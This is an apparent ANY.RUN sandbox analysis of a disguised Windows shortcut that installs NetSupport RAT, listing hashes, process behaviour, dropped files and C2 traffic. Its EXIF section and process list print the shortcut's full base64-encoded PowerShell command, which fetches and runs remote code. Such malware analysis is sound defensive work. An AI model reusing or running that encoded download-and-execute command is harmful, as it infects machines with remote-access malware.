File name:

70b2c4a5ae788ed8b336168433216179685abbe15ae67075c3fedd9543e5edc9.lnk

Full analysis: https://app.any.run/tasks/a8aabbdf-f640-4759-b7d0-cdf7aaf15c58
Verdict: Malicious activity
Threats:

NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software.

Malware Trends Tracker     >>>
Analysis date: March 14, 2024, 16:21:39
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
netsupport
unwanted
remote
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Has Description string, Has Relative path, Has command line arguments, Icon number=0, ctime=Mon Jan 1 00:00:00 1601, mtime=Mon Jan 1 00:00:00 1601, atime=Mon Jan 1 00:00:00 1601, length=0, window=hidenormalshowminimized
MD5:

20CC6087C66B064EF405E80CFCEBC1F9

SHA1:

2BAAAB44A71080E2D927AA60CA9E693500E680E1

SHA256:

70B2C4A5AE788ED8B336168433216179685ABBE15AE67075C3FEDD9543E5EDC9

SSDEEP:

1536:Zy8JwIve4Gg5xcXQlNYDkKPNuLCFm7PAQ:QedvFGg5xpYDkKPNu207R

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 5032)

    • NETSUPPORT has been detected (SURICATA)

      • client32.exe (PID: 6328)

    • Connects to the CnC server

      • client32.exe (PID: 6328)

  • SUSPICIOUS

    • Process drops legitimate windows executable

      • powershell.exe (PID: 5032)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 5032)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 5032)

    • Unusual connection from system programs

      • powershell.exe (PID: 5032)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 5032)

    • Drops a system driver (possible attempt to evade defenses)

      • powershell.exe (PID: 5032)

    • Reads security settings of Internet Explorer

      • client32.exe (PID: 6328)

    • Connects to the server without a host name

      • client32.exe (PID: 6328)

  • INFO

    • Checks proxy server information

      • powershell.exe (PID: 5032)
      • client32.exe (PID: 6328)
      • slui.exe (PID: 3804)

    • Checks supported languages

      • client32.exe (PID: 6328)

    • The executable file from the user directory is run by the Powershell process

      • client32.exe (PID: 6328)

    • Reads the computer name

      • client32.exe (PID: 6328)

    • Drop NetSupport executable file

      • powershell.exe (PID: 5032)

    • Reads Environment values

      • client32.exe (PID: 6328)

    • Creates files or folders in the user directory

      • client32.exe (PID: 6328)

    • Reads the software policy settings

      • slui.exe (PID: 3804)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, Description, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: (none)
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: powershell.exe
Description: pq2yH9YNjgnz8lAhVsOIPFfbaTRZ54xGCEuUdrBX01WoLK6veD7mw3ikcSQ MJt
RelativePath: ..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments: -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AbgBlAHMALgBjAG8AcwBtAG8AcABlAG8AcABsAGUALgBpAG4ALwAxAHoAaAB5AC4AdAB4AHQAJwApACAAfAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgA=
IconFileName: C:\Windows\System32\notepad.exe
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
128
Monitored processes
4
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powershell.exe conhost.exe no specs #NETSUPPORT client32.exe slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
3804C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
4248\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
5032"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AbgBlAHMALgBjAG8AcwBtAG8AcABlAG8AcABsAGUALgBpAG4ALwAxAHoAaAB5AC4AdAB4AHQAJwApACAAfAAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
6328"C:\Users\admin\AppData\Local\AppReadiness\client32.exe" C:\Users\admin\AppData\Local\AppReadiness\client32.exe
powershell.exe
User:
admin
Company:
NetSupport Ltd
Integrity Level:
MEDIUM
Description:
NetSupport Client Application
Exit code:
0
Version:
V12.70
Modules
Images
c:\users\admin\appdata\local\appreadiness\client32.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\users\admin\appdata\local\appreadiness\pcicl32.dll
Total events
13 918
Read events
13 884
Write events
34
Delete events
0

Modification events

(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5032) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
10
Suspicious files
3
Text files
7
Unknown types
2

Dropped files

PID
Process
Filename
Type
5032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fa2c1150b0de11a9.customDestinations-msbinary
MD5:3D8D9CEDA88EDE346C63B39C0FB8ED40
SHA256:5268EAC10692780399A6E5F6BEDA9EFC70A9BFE1AA87C4FA400A68910CC24315
5032powershell.exeC:\Users\admin\AppData\Local\F3ipuPF.zipcompressed
MD5:C352F6091CC21325F9FB39BD31659CAB
SHA256:B30574BAE6A7B307B51851FA0483A18209C198093D1B91FA1BD9F3907B347739
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\Acx01000.sysexecutable
MD5:9DA9B9D0EBF1F2CE320EC8D42DD0480B
SHA256:9945D826CC61104B2F71259A47E2941B232F003BB727DCD0E543626AD7993FCC
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4rg5bkph.mp5.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\client32.exeexecutable
MD5:A2B46C59F6E7E395D479B09464ECDBA0
SHA256:89F0C8F170FE9EA28B1056517160E92E2D7D4E8AA81F4ED696932230413A6CE1
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\client32.initext
MD5:2AB1A1A4BBB4CE9FEB537A9B0483F8DA
SHA256:C0720F41ABAF9103A4B226DF7D54B1D187CBDC275C68D51DE6E9CA98859B200F
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\msvcr100.dllexecutable
MD5:0E37FBFA79D349D672456923EC5FBBE3
SHA256:8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
5032powershell.exeC:\Users\admin\AppData\Local\AppReadiness\AudioCapture.dllexecutable
MD5:4182F37B9BA1FA315268C669B5335DDE
SHA256:A74612AE5234D1A8F1263545400668097F9EB6A01DFB8037BC61CA9CAE82C5B8
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l1l3ebar.mvs.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5032powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W7UEJZB7O1RTY9G9UHHG.tempbinary
MD5:3D8D9CEDA88EDE346C63B39C0FB8ED40
SHA256:5268EAC10692780399A6E5F6BEDA9EFC70A9BFE1AA87C4FA400A68910CC24315
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
31
DNS requests
18
Threats
16

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
5032
powershell.exe
GET
200
46.105.141.54:80
http://rahnoturkey.com/nyhjkszpcccggjukfgnattexybnfgziizyh.txt
unknown
text
3.26 Mb
unknown
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
2836
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
6328
client32.exe
GET
200
104.26.1.231:80
http://geo.netsupportsoftware.com/location/loca.asp
unknown
text
17 b
unknown
6328
client32.exe
POST
200
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
binary
61 b
unknown
6328
client32.exe
POST
200
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
binary
159 b
unknown
6328
client32.exe
POST
—
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
—
—
unknown
6328
client32.exe
POST
—
192.236.192.48:443
http://192.236.192.48/fakeurl.htm
unknown
—
—
unknown
4184
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D
unknown
binary
471 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4828
svchost.exe
239.255.255.250:1900
—
—
—
unknown
1280
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2836
svchost.exe
40.126.31.69:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5032
powershell.exe
66.85.138.70:443
nes.cosmopeople.in
SSASN2
US
unknown
5032
powershell.exe
46.105.141.54:80
rahnoturkey.com
OVH SAS
FR
unknown
2836
svchost.exe
20.190.159.23:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2836
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
6328
client32.exe
104.26.1.231:80
geo.netsupportsoftware.com
CLOUDFLARENET
US
unknown
6328
client32.exe
192.236.192.48:443
parabmasale.com
HOSTWINDS
US
unknown
6908
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown

DNS requests

Domain
IP
Reputation
nes.cosmopeople.in
  • 66.85.138.70
unknown
rahnoturkey.com
  • 46.105.141.54
unknown
ocsp.digicert.com
  • 192.229.221.95
whitelisted
geo.netsupportsoftware.com
  • 104.26.1.231
  • 172.67.68.212
  • 104.26.0.231
unknown
parabmasale.com
  • 192.236.192.48
unknown
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
www.bing.com
  • 104.126.37.171
  • 104.126.37.139
  • 104.126.37.154
  • 104.126.37.145
  • 104.126.37.177
  • 104.126.37.162
  • 104.126.37.137
  • 104.126.37.176
  • 104.126.37.155
whitelisted
arc.msn.com
  • 20.103.156.88
whitelisted
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted

Threats

PID
Process
Class
Message
5032
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
6328
client32.exe
Potential Corporate Privacy Violation
ET POLICY NetSupport GeoLocation Lookup Request
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Response
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Response
6328
client32.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
6328
client32.exe
Misc activity
ET INFO NetSupport Remote Admin Checkin
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
70b2c4a5ae788ed8b336168433216179685abbe15ae67075c3fedd9543e5edc9.lnk